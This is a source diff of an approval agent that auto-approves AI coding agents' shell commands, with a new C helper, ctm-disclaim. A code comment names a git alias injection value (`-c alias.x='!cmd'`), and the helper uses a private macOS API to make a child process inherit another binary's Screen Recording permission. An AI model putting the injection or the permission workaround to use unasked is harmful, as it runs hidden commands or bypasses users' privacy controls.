const cmd = (context.command || '').toLowerCase();
|
|
@@ -983,6 +1198,16 @@ function reviewWithHeuristics(context) {
|
|
|
983
1198
|
}
|
|
984
1199
|
}
|
|
985
1200
|
|
|
1201
|
+
// Dev-instance cleanup family (stop a local dev server + delete its /tmp
|
|
1202
|
+
// scratch). Recognized as a WHOLE-command shape so the port-scoped kill and
|
|
1203
|
+
// the /tmp-scoped rm — which each look 'medium' in isolation — don't park the
|
|
1204
|
+
// agent on every teardown. Runs AFTER the high-risk scan (so a non-/tmp rm or
|
|
1205
|
+
// sudo still wins) and the dangerous-command blocklist remains the hard floor.
|
|
1206
|
+
if (_isDevCleanupCommand(cmdUnwrapped || cmd)) {
|
|
1207
|
+
return { decision: 'approve', reasoning: 'Dev-instance cleanup — port-scoped kill + /tmp scratch removal (heuristic)', riskLevel: 'low',
|
|
1208
|
+
ruleLabel: 'Dev cleanup', rulePattern: '', ruleDescription: 'Stop a local dev server (lsof :PORT | xargs kill) and remove its /tmp scratch files' };
|
|
1209
|
+
}
|
|
1210
|
+
|
|
986
1211
|
// Local dev operations that are safe to auto-approve — matched PER CLAUSE.
|
|
987
1212
|
const devSafe = [
|
|
988
1213
|
{ re: /echo\s+.*>\s*\/tmp\//, label: 'Write to /tmp', desc: 'Echo output to temp files' },
|
|
@@ -991,7 +1216,17 @@ function reviewWithHeuristics(context) {
|
|
|
991
1216
|
{ re: /\bcat\s/, label: 'Read file contents', desc: 'View file contents with cat' },
|
|
992
1217
|
{ re: /\bls\b/, label: 'List directory', desc: 'List files and directories' },
|
|
993
1218
|
{ re: /\bpwd\b/, label: 'Print working directory', desc: 'Show current directory path' },
|
|
994
|
-
|
|
1219
|
+
// Read-only git, tolerant of git's leading global options so `git -C <repo>
|
|
1220
|
+
// status` classifies the same as `git status` (matches Claude Code / Codex).
|
|
1221
|
+
// Only KNOWN-SAFE global options are skipped: `-C`/`--git-dir`/`--work-tree`/
|
|
1222
|
+
// `--namespace` (+ value) and pager/lock booleans. Exec-affecting options
|
|
1223
|
+
// (`-c name=value`, `--config-env`, `--exec-path`) are deliberately excluded,
|
|
1224
|
+
// so `git -c alias.x='!cmd' x` does NOT match here and stays medium-risk.
|
|
1225
|
+
// caseSensitive: matched against the ORIGINAL-case clause. git's `-C`
|
|
1226
|
+
// (directory, safe) and `-c` (config/alias injection) collapse to the same
|
|
1227
|
+
// token under toLowerCase(), so this rule must see the real case to keep
|
|
1228
|
+
// `-c alias.x='!cmd'` out of the read-only class.
|
|
1229
|
+
{ re: /\bgit\s+(?:(?:-C|--git-dir|--work-tree|--namespace)(?:=\S+|\s+\S+)\s+|(?:-p|-P|--paginate|--no-pager|--bare|--no-replace-objects|--literal-pathspecs|--glob-pathspecs|--noglob-pathspecs|--icase-pathspecs|--no-optional-locks|--no-advice)\s+)*(?:status|log|diff|branch|show|stash\s+list|tag|remote)\b/, caseSensitive: true, label: 'Git read operations', desc: 'Read-only git commands (status, log, diff, branch, show, tag, remote)' },
|
|
995
1230
|
// NOTE: `node -e`, `python -c`, `cp`, `mv`, and `sqlite3` are intentionally
|
|
996
1231
|
// NOT here — they can run arbitrary code or mutate/overwrite arbitrary files
|
|
997
1232
|
// (incl. databases) and must go through the AI reviewer/verifier (medium),
|
|
@@ -1001,7 +1236,8 @@ function reviewWithHeuristics(context) {
|
|
|
1001
1236
|
{ re: />\s*\/tmp\//, label: 'Write to /tmp', desc: 'Redirect output to temp files' },
|
|
1002
1237
|
{ re: /touch\s/, label: 'Create empty file', desc: 'Create or update file timestamps' },
|
|
1003
1238
|
{ re: /\bcurl\s[\s\S]*?(https?:\/\/localhost|http:\/\/127\.0\.0\.1)/, label: 'Curl localhost', desc: 'HTTP requests to local dev servers' },
|
|
1004
|
-
|
|
1239
|
+
// grep/egrep/fgrep/ripgrep are read-only regardless of flags (-i/-v/-q/-c…).
|
|
1240
|
+
{ re: /\b(?:(?:e|f)?grep|rg)\b/, label: 'Grep search', desc: 'Search file contents with grep/ripgrep' },
|
|
1005
1241
|
{ re: /wc\s/, label: 'Word count', desc: 'Count lines/words/bytes' },
|
|
1006
1242
|
{ re: /head\s|tail\s/, label: 'Read file head/tail', desc: 'View beginning or end of files' },
|
|
1007
1243
|
{ re: /which\s|type\s/, label: 'Find command', desc: 'Locate commands in PATH' },
|
|
@@ -1025,18 +1261,41 @@ function reviewWithHeuristics(context) {
|
|
|
1025
1261
|
// unrecognized makes the whole command 'medium' → AI reviewer/verifier (which,
|
|
1026
1262
|
// with session context, can still auto-approve a goal-aligned action).
|
|
1027
1263
|
const clauses = _splitShellClauses(cmdUnwrapped || cmd);
|
|
1264
|
+
// Original-case clauses, parallel to `clauses`, for rules flagged
|
|
1265
|
+
// caseSensitive (case is security-relevant for git's -C vs -c). Splitting is
|
|
1266
|
+
// case-independent, so indices line up 1:1.
|
|
1267
|
+
const cmdRawUnwrapped = String(context.command || '')
|
|
1268
|
+
.replace(/^(#[^\n]*\n\s*)*/, '')
|
|
1269
|
+
.replace(/^(time|env|nice|nohup|command)\s+/gi, '');
|
|
1270
|
+
const clausesRaw = _splitShellClauses(cmdRawUnwrapped);
|
|
1028
1271
|
let firstSafe = null;
|
|
1029
1272
|
let review = null;
|
|
1030
|
-
|
|
1273
|
+
// Tracks that at least one clause was skipped as inherently harmless (a bare
|
|
1274
|
+
// assignment or pure control-flow keyword). Used so a command made ENTIRELY of
|
|
1275
|
+
// such clauses (e.g. `DEV_CTM_PORT=4856; DEV_WALLE_PORT=4857`) classifies low
|
|
1276
|
+
// instead of falling through to the medium default — it executes nothing.
|
|
1277
|
+
let skippedSafe = false;
|
|
1278
|
+
for (let ci = 0; ci < clauses.length; ci += 1) {
|
|
1279
|
+
let clause = clauses[ci];
|
|
1280
|
+
let clauseRaw = clausesRaw[ci] != null ? clausesRaw[ci] : clause;
|
|
1281
|
+
// Control-flow structure (for/do/done/then/fi/esac/…) executes nothing on its
|
|
1282
|
+
// own — skip it so a loop of safe commands is not forced to 'medium' by the
|
|
1283
|
+
// loop keywords. The body commands are still classified as their own clauses.
|
|
1284
|
+
if (_isControlFlowClause(clause)) { skippedSafe = true; continue; }
|
|
1285
|
+
// A leading control keyword can be glued onto a real command by the splitter
|
|
1286
|
+
// (`do sips …`); strip it so the body command — not the keyword — is judged.
|
|
1287
|
+
clause = _stripLeadingControlKeyword(clause);
|
|
1288
|
+
clauseRaw = _stripLeadingControlKeyword(clauseRaw);
|
|
1289
|
+
if (!clause.trim()) continue;
|
|
1031
1290
|
// A bare assignment with no command substitution just sets a variable
|
|
1032
1291
|
// (literal or arithmetic) — harmless. `VAR=$(cmd)` keeps the inner command,
|
|
1033
1292
|
// so it falls through to be classified by that command below.
|
|
1034
|
-
if (/^\w+=/.test(clause) && !/\$\((?!\()/.test(clause) && !/`/.test(clause)) continue;
|
|
1293
|
+
if (/^\w+=/.test(clause) && !/\$\((?!\()/.test(clause) && !/`/.test(clause)) { skippedSafe = true; continue; }
|
|
1035
1294
|
if (_isProcessControlClause(clause)) {
|
|
1036
1295
|
review = review || { label: 'Process control', desc: 'Terminates processes (kill/pkill) — review the target' };
|
|
1037
1296
|
continue;
|
|
1038
1297
|
}
|
|
1039
|
-
const safe = devSafe.find(({ re }) => re.test(clause));
|
|
1298
|
+
const safe = devSafe.find(({ re, caseSensitive }) => re.test(caseSensitive ? clauseRaw : clause));
|
|
1040
1299
|
if (safe) { firstSafe = firstSafe || safe; continue; }
|
|
1041
1300
|
review = review || { label: context.toolName || 'Bash command', desc: 'Routed to AI reviewer/verifier for a decision' };
|
|
1042
1301
|
}
|
|
@@ -1048,6 +1307,12 @@ function reviewWithHeuristics(context) {
|
|
|
1048
1307
|
return { decision: 'approve', reasoning: 'Common dev operation (heuristic, all clauses safe)', riskLevel: 'low',
|
|
1049
1308
|
ruleLabel: firstSafe.label, rulePattern: firstSafe.re.source, ruleDescription: firstSafe.desc };
|
|
1050
1309
|
}
|
|
1310
|
+
// Every clause was an inherently-harmless assignment / control-flow keyword and
|
|
1311
|
+
// nothing executed — low risk (e.g. `DEV_CTM_PORT=4856; DEV_WALLE_PORT=4857`).
|
|
1312
|
+
if (skippedSafe) {
|
|
1313
|
+
return { decision: 'approve', reasoning: 'Variable assignment / control-flow only (executes nothing)', riskLevel: 'low',
|
|
1314
|
+
ruleLabel: 'Variable assignment', rulePattern: '', ruleDescription: 'Sets shell variables / control-flow keywords only' };
|
|
1315
|
+
}
|
|
1051
1316
|
|
|
1052
1317
|
// Default: medium risk — NOT auto-approved here. Routed to the AI reviewer +
|
|
1053
1318
|
// verifier; if the AI gate is unavailable it escalates to the user (fail-safe).
|
|
@@ -1190,6 +1455,15 @@ const BACKSPACE = '\x7f';
|
|
|
1190
1455
|
// Legacy path (no headlessWorker, e.g. unit tests): keep original
|
|
1191
1456
|
// keystroke + ENTER_DELAY_MS Enter behavior so existing tests still pass.
|
|
1192
1457
|
function sendApprovalKeystroke(session, context, headlessWorker, options = {}) {
|
|
1458
|
+
// User-input priority: if the human is actively interacting with this session's prompt,
|
|
1459
|
+
// yield — do not inject. This is checked at fire-time (covers both immediate and the
|
|
1460
|
+
// setTimeout-deferred guarded path) so a keystroke the user just started navigating is
|
|
1461
|
+
// left alone. Steady-state auto-approval (no recent manual input) is unaffected.
|
|
1462
|
+
if (session && _userIsDriving(session.id)) {
|
|
1463
|
+
const sid = session.id ? session.id.slice(0, 8) : '?';
|
|
1464
|
+
console.log(`[approval-agent] Skipping injection for session ${sid} — user is actively driving (backoff ${USER_BACKOFF_MS}ms)`);
|
|
1465
|
+
return;
|
|
1466
|
+
}
|
|
1193
1467
|
const provider = context.providerId ? getProvider(context.providerId) : null;
|
|
1194
1468
|
const keystroke = options.keystroke || getApproveKeystroke(context, options);
|
|
1195
1469
|
const sid = session.id ? session.id.slice(0, 8) : '?';
|
|
@@ -1549,6 +1823,11 @@ async function handleApprovalRescueCandidate(sessionId, session, cleanText, broa
|
|
|
1549
1823
|
const rawText = String(cleanText || meta.rawText || '');
|
|
1550
1824
|
if (!rawText) return { handled: false, reason: 'empty' };
|
|
1551
1825
|
|
|
1826
|
+
// Fully hands-off on plan approvals (ExitPlanMode). Never parse-for-command,
|
|
1827
|
+
// never keystroke, never banner — pressing a key here can auto-run the plan,
|
|
1828
|
+
// and the "command" would just be plan prose. The session stays Needs-You.
|
|
1829
|
+
if (isPlanApprovalPrompt(rawText)) return { handled: false, reason: 'plan-approval' };
|
|
1830
|
+
|
|
1552
1831
|
const providerContext = _parseKnownProviderContext(rawText, providerId);
|
|
1553
1832
|
let context = providerContext?.context || parseApprovalContext(rawText, providerId);
|
|
1554
1833
|
if (!context && providerId) context = parseApprovalContext(rawText, null);
|
|
@@ -1642,14 +1921,13 @@ async function handleApprovalRescueCandidate(sessionId, session, cleanText, broa
|
|
|
1642
1921
|
row.ruleLabel = review.ruleLabel || row.ruleLabel;
|
|
1643
1922
|
row.ruleDescription = review.ruleDescription || row.ruleDescription;
|
|
1644
1923
|
row = _saveRescuePattern(row) || row;
|
|
1645
|
-
//
|
|
1646
|
-
//
|
|
1647
|
-
//
|
|
1648
|
-
//
|
|
1649
|
-
//
|
|
1650
|
-
|
|
1651
|
-
|
|
1652
|
-
}
|
|
1924
|
+
// The rescue-monitor's own "I think I missed an approval" verdict is NOT
|
|
1925
|
+
// surfaced as the front-and-center approval banner — that channel is reserved
|
|
1926
|
+
// for genuine approvals the user can act on (blocklist/deny/verifier
|
|
1927
|
+
// escalations + hook-park + the reconcile settled-frame path). A real missed
|
|
1928
|
+
// prompt is still on screen and surfaces via Needs-You/reconcile; the rescue
|
|
1929
|
+
// verdict only updates the (silent) suppressed-pattern record above.
|
|
1930
|
+
console.log(`[approval-rescue] not-safe (silent) session=${sessionId.slice(0, 8)} diagnosis=${diagnosis || 'unknown'} label="${(escalationCommandParts(context).title || context.toolName || '').slice(0, 80)}"`);
|
|
1653
1931
|
return { handled: false, reason: 'not-safe', fingerprint, decidedBy: review.decidedBy, diagnosis };
|
|
1654
1932
|
}
|
|
1655
1933
|
|
|
@@ -1765,10 +2043,12 @@ async function handleApprovalRescueCandidate(sessionId, session, cleanText, broa
|
|
|
1765
2043
|
: RESCUE_RETRY_COOLDOWN_MS);
|
|
1766
2044
|
if (row.consecutiveFailures >= RESCUE_MAX_CONSECUTIVE_FAILURES) row.status = 'blocked';
|
|
1767
2045
|
row = _saveRescuePattern(row) || row;
|
|
1768
|
-
|
|
1769
|
-
|
|
1770
|
-
|
|
1771
|
-
|
|
2046
|
+
// Verify-failed is recorded (suppressed pattern, above) but NOT surfaced as the
|
|
2047
|
+
// approval banner — the genuine prompt is still on screen and surfaces via the
|
|
2048
|
+
// normal Needs-You / reconcile path. The old "CTM tried to auto-approve a missed
|
|
2049
|
+
// prompt, but the terminal did not advance" banner was meta-noise about CTM's
|
|
2050
|
+
// internals, not an approvable permission.
|
|
2051
|
+
console.log(`[approval-rescue] verify-failed (silent) session=${sessionId.slice(0, 8)} advanced=${outputAdvanced}B label="${(escalationCommandParts(context).title || context.toolName || '').slice(0, 80)}"`);
|
|
1772
2052
|
return {
|
|
1773
2053
|
handled: true,
|
|
1774
2054
|
reason: 'verify-failed',
|
|
@@ -1799,9 +2079,13 @@ async function decideApproval(context, session, options = {}) {
|
|
|
1799
2079
|
const callModel = options.callModel || null;
|
|
1800
2080
|
const command = context.command || '';
|
|
1801
2081
|
|
|
1802
|
-
// 1) Dangerous-command blocklist — runs first, never overridden by other signals
|
|
2082
|
+
// 1) Dangerous-command blocklist — runs first, never overridden by other signals
|
|
2083
|
+
// (except the user's own "never block" exceptions, which we audit-log).
|
|
1803
2084
|
if (isBlocklistEnabled()) {
|
|
1804
2085
|
const block = checkBlocklist(command, getBlocklistConfig());
|
|
2086
|
+
if (block.exempted) {
|
|
2087
|
+
console.log(`[approval-agent] blocklist exception ${block.exceptionId} suppressed "${block.suppressed?.reason}" for cmd="${command.slice(0, 200)}"`);
|
|
2088
|
+
}
|
|
1805
2089
|
if (block.blocked) {
|
|
1806
2090
|
return {
|
|
1807
2091
|
decision: 'ask', decidedBy: 'blocklist', riskLevel: 'high',
|
|
@@ -1823,15 +2107,23 @@ async function decideApproval(context, session, options = {}) {
|
|
|
1823
2107
|
};
|
|
1824
2108
|
}
|
|
1825
2109
|
const userAllowed = !!(permMatch && permMatch.action === 'allow');
|
|
2110
|
+
const viaException = userAllowed ? permMatch.viaException : null;
|
|
2111
|
+
if (viaException) {
|
|
2112
|
+
console.log(`[approval-agent] deny rule ${permMatch.rule} excepted (${viaException.type}: ${viaException.value}) for cmd="${command.slice(0, 200)}"`);
|
|
2113
|
+
}
|
|
1826
2114
|
|
|
1827
2115
|
// 3) Learned rules / per-clause heuristic risk classification.
|
|
1828
2116
|
const matchingRule = findMatchingRule(context);
|
|
1829
2117
|
const heuristic = matchingRule ? null : reviewWithHeuristics(context);
|
|
1830
2118
|
const riskLevel = matchingRule ? (matchingRule.risk_level || 'low') : (heuristic ? (heuristic.riskLevel || 'low') : 'low');
|
|
1831
2119
|
const decidedBy = userAllowed ? 'user-allow' : (matchingRule ? 'rule' : 'auto');
|
|
1832
|
-
const label = userAllowed
|
|
2120
|
+
const label = userAllowed
|
|
2121
|
+
? (viaException ? `Excepted from ${permMatch.rule} (${viaException.value})` : `Allowed: ${permMatch.rule}`)
|
|
1833
2122
|
: matchingRule ? matchingRule.label : ((heuristic && heuristic.ruleLabel) || context.toolName);
|
|
1834
|
-
const reason = userAllowed
|
|
2123
|
+
const reason = userAllowed
|
|
2124
|
+
? (viaException
|
|
2125
|
+
? `Deny rule ${permMatch.rule} excepted (${viaException.type} ${viaException.value})`
|
|
2126
|
+
: `Permission Manager allow rule matched: ${permMatch.rule}`)
|
|
1835
2127
|
: matchingRule ? `Matched learned rule: ${matchingRule.label}`
|
|
1836
2128
|
: 'Auto-approved by default (not on the denylist)';
|
|
1837
2129
|
|
|
@@ -1884,19 +2176,26 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
|
|
|
1884
2176
|
// never auto-approved regardless of what other signals say. Opt-in.
|
|
1885
2177
|
if (isBlocklistEnabled()) {
|
|
1886
2178
|
const blockCheck = checkBlocklist(context.command || '', getBlocklistConfig());
|
|
2179
|
+
if (blockCheck.exempted) {
|
|
2180
|
+
console.log(`[approval-agent] blocklist exception ${blockCheck.exceptionId} suppressed "${blockCheck.suppressed?.reason}" session=${sessionId} cmd="${(context.command || '').slice(0, 200)}"`);
|
|
2181
|
+
}
|
|
1887
2182
|
if (blockCheck.blocked) {
|
|
1888
2183
|
console.log(`[approval-agent] BLOCKLIST hit session=${sessionId} category=${blockCheck.category} reason="${blockCheck.reason}" cmd="${(context.command || '').slice(0, 200)}"`);
|
|
2184
|
+
// The Pending card titles from commandSummary — use the operative COMMAND
|
|
2185
|
+
// (what the user must judge), not the blocklist reason. The reason stays
|
|
2186
|
+
// in `reasoning` ("Why escalated" + isBlocklistGroup detection).
|
|
2187
|
+
const parts = escalationCommandParts(context);
|
|
1889
2188
|
const decision = {
|
|
1890
2189
|
sessionId,
|
|
1891
2190
|
toolName: context.toolName,
|
|
1892
|
-
commandSummary: `Blocklist: ${blockCheck.reason}`,
|
|
2191
|
+
commandSummary: parts.title || `Blocklist: ${blockCheck.reason}`,
|
|
1893
2192
|
fullContext: context.fullContext.slice(0, 2000),
|
|
1894
2193
|
warning: context.warning,
|
|
1895
2194
|
decision: 'escalated',
|
|
1896
2195
|
reasoning: `Dangerous-command blocklist matched (${blockCheck.category}): ${blockCheck.reason}`,
|
|
1897
2196
|
decidedBy: 'blocklist',
|
|
1898
2197
|
riskLevel: 'high',
|
|
1899
|
-
commandSignature,
|
|
2198
|
+
commandSignature: parts.signature || commandSignature,
|
|
1900
2199
|
};
|
|
1901
2200
|
let decisionId;
|
|
1902
2201
|
try { decisionId = dbModule.addApprovalDecision(decision); } catch (e) { console.error('[approval-agent] DB error:', e.message); }
|
|
@@ -1930,10 +2229,13 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
|
|
|
1930
2229
|
if (permMatch && permMatch.action === 'deny') {
|
|
1931
2230
|
const reasoning = `Permission Manager deny rule matched: ${permMatch.rule}`;
|
|
1932
2231
|
try {
|
|
2232
|
+
const parts = escalationCommandParts(context);
|
|
1933
2233
|
dbModule.addApprovalDecision({
|
|
1934
|
-
sessionId, toolName: context.toolName,
|
|
2234
|
+
sessionId, toolName: context.toolName,
|
|
2235
|
+
commandSummary: parts.title || `Denied: ${permMatch.rule}`,
|
|
1935
2236
|
fullContext: context.fullContext.slice(0, 2000), warning: context.warning,
|
|
1936
|
-
decision: 'escalated', reasoning, decidedBy: 'user-deny', riskLevel: 'high',
|
|
2237
|
+
decision: 'escalated', reasoning, decidedBy: 'user-deny', riskLevel: 'high',
|
|
2238
|
+
commandSignature: parts.signature || commandSignature,
|
|
1937
2239
|
});
|
|
1938
2240
|
} catch (e) { console.error('[approval-agent] DB error:', e.message); }
|
|
1939
2241
|
broadcastFn(sessionId, session, {
|
|
@@ -1944,6 +2246,10 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
|
|
|
1944
2246
|
return true;
|
|
1945
2247
|
}
|
|
1946
2248
|
const userAllowed = !!(permMatch && permMatch.action === 'allow');
|
|
2249
|
+
const viaException = userAllowed ? permMatch.viaException : null;
|
|
2250
|
+
if (viaException) {
|
|
2251
|
+
console.log(`[approval-agent] deny rule ${permMatch.rule} excepted (${viaException.type}: ${viaException.value}) session=${sessionId} cmd="${(context.command || '').slice(0, 200)}"`);
|
|
2252
|
+
}
|
|
1947
2253
|
|
|
1948
2254
|
// ── Allow-by-default ──────────────────────────────────────────────────────
|
|
1949
2255
|
// Auto-approve everything not on the denylist. The blocklist above is the
|
|
@@ -1952,12 +2258,15 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
|
|
|
1952
2258
|
// opinion on medium+ risk and can escalate. User-allowed commands skip it.
|
|
1953
2259
|
const matchingRule = findMatchingRule(context);
|
|
1954
2260
|
const heuristic = matchingRule ? null : reviewWithHeuristics(context);
|
|
1955
|
-
const label = userAllowed
|
|
2261
|
+
const label = userAllowed
|
|
2262
|
+
? (viaException ? `Excepted from ${permMatch.rule} (${viaException.value})` : `Allowed: ${permMatch.rule}`)
|
|
1956
2263
|
: matchingRule ? matchingRule.label : (heuristic.ruleLabel || context.toolName);
|
|
1957
2264
|
const decidedBy = userAllowed ? 'user-allow' : (matchingRule ? 'rule' : 'auto');
|
|
1958
2265
|
const riskLevel = matchingRule ? (matchingRule.risk_level || 'low') : (heuristic ? (heuristic.riskLevel || 'low') : 'low');
|
|
1959
2266
|
const reasoning = userAllowed
|
|
1960
|
-
?
|
|
2267
|
+
? (viaException
|
|
2268
|
+
? `Deny rule ${permMatch.rule} excepted (${viaException.type} ${viaException.value})`
|
|
2269
|
+
: `Permission Manager allow rule matched: ${permMatch.rule}`)
|
|
1961
2270
|
: matchingRule ? `Matched learned rule: ${matchingRule.label}`
|
|
1962
2271
|
: 'Auto-approved by default (not on the denylist)';
|
|
1963
2272
|
|
|
@@ -2001,15 +2310,22 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
|
|
|
2001
2310
|
module.exports = {
|
|
2002
2311
|
parseApprovalContext,
|
|
2003
2312
|
isLiveApprovalPrompt,
|
|
2313
|
+
isPlanApprovalPrompt,
|
|
2314
|
+
planCardFingerprint,
|
|
2315
|
+
cardTextFingerprint,
|
|
2004
2316
|
hasComposerStatusFooter,
|
|
2005
2317
|
reviewWithHeuristics,
|
|
2006
2318
|
_splitShellClauses,
|
|
2007
2319
|
_isProcessControlClause,
|
|
2320
|
+
_isControlFlowClause,
|
|
2321
|
+
_stripLeadingControlKeyword,
|
|
2322
|
+
_isDevCleanupCommand,
|
|
2323
|
+
_isTmpScopedRmClause,
|
|
2324
|
+
_isPortScopedKillClause,
|
|
2008
2325
|
_buildSessionContext,
|
|
2009
2326
|
normalizeCommandSignature,
|
|
2010
2327
|
escalationCommandParts,
|
|
2011
2328
|
classifyBlockReason,
|
|
2012
|
-
_rescueCandidateActionable,
|
|
2013
2329
|
findMatchingRule,
|
|
2014
2330
|
getApproveKeystroke,
|
|
2015
2331
|
sendApprovalKeystroke,
|
|
@@ -2020,4 +2336,8 @@ module.exports = {
|
|
|
2020
2336
|
handleApprovalCheck,
|
|
2021
2337
|
decideApproval,
|
|
2022
2338
|
clearSessionDedup(sessionId) { _lastApproval.delete(sessionId); },
|
|
2339
|
+
// Record that the human is manually driving `sessionId` right now, so the auto-approver
|
|
2340
|
+
// backs off (see _userIsDriving / sendApprovalKeystroke). Called from server.js handleInput.
|
|
2341
|
+
markUserActive(sessionId) { if (sessionId) _userActiveAt.set(sessionId, Date.now()); },
|
|
2342
|
+
_userIsDriving,
|
|
2023
2343
|
};
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
// ctm-disclaim — run a command as its OWN TCC "responsible process".
|
|
2
|
+
//
|
|
3
|
+
// macOS attributes Screen Recording (and other TCC permissions) to the *responsible
|
|
4
|
+
// process*, which children inherit from their parent — all the way up to the launchd
|
|
5
|
+
// daemon. CTM runs from a self-signed .app bundle (com.walle.ctm) that macOS won't let a
|
|
6
|
+
// background daemon grant a Screen Recording prompt for, so `screencapture` it spawns is
|
|
7
|
+
// denied. But the user's real `node` binary is already granted Screen Recording.
|
|
8
|
+
//
|
|
9
|
+
// responsibility_spawnattrs_setdisclaim() (the same private spawn attribute LaunchServices
|
|
10
|
+
// uses when it `open`s an app) breaks the inheritance: the spawned process becomes its own
|
|
11
|
+
// responsible process. So `ctm-disclaim <real-node> -e "<run screencapture>"` makes that
|
|
12
|
+
// node its own responsible identity (the granted "node"), and the screencapture it spawns
|
|
13
|
+
// inherits that granted identity instead of com.walle.ctm.
|
|
14
|
+
//
|
|
15
|
+
// Usage: ctm-disclaim <command> [args...] (exits with the command's exit status)
|
|
16
|
+
|
|
17
|
+
#include <spawn.h>
|
|
18
|
+
#include <sys/wait.h>
|
|
19
|
+
#include <unistd.h>
|
|
20
|
+
#include <stdio.h>
|
|
21
|
+
|
|
22
|
+
extern int responsibility_spawnattrs_setdisclaim(posix_spawnattr_t *attrs, int disclaim);
|
|
23
|
+
|
|
24
|
+
int main(int argc, char **argv, char **envp) {
|
|
25
|
+
if (argc < 2) {
|
|
26
|
+
fprintf(stderr, "usage: ctm-disclaim <command> [args...]\n");
|
|
27
|
+
return 2;
|
|
28
|
+
}
|
|
29
|
+
posix_spawnattr_t attr;
|
|
30
|
+
posix_spawnattr_init(&attr);
|
|
31
|
+
responsibility_spawnattrs_setdisclaim(&attr, 1);
|
|
32
|
+
pid_t pid;
|
|
33
|
+
int rc = posix_spawnp(&pid, argv[1], NULL, &attr, &argv[1], envp);
|
|
34
|
+
posix_spawnattr_destroy(&attr);
|
|
35
|
+
if (rc != 0) {
|
|
36
|
+
fprintf(stderr, "ctm-disclaim: spawn failed (%d)\n", rc);
|
|
37
|
+
return rc;
|
|
38
|
+
}
|
|
39
|
+
int status;
|
|
40
|
+
if (waitpid(pid, &status, 0) < 0) return 1;
|
|
41
|
+
return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
|
|
42
|
+
}
|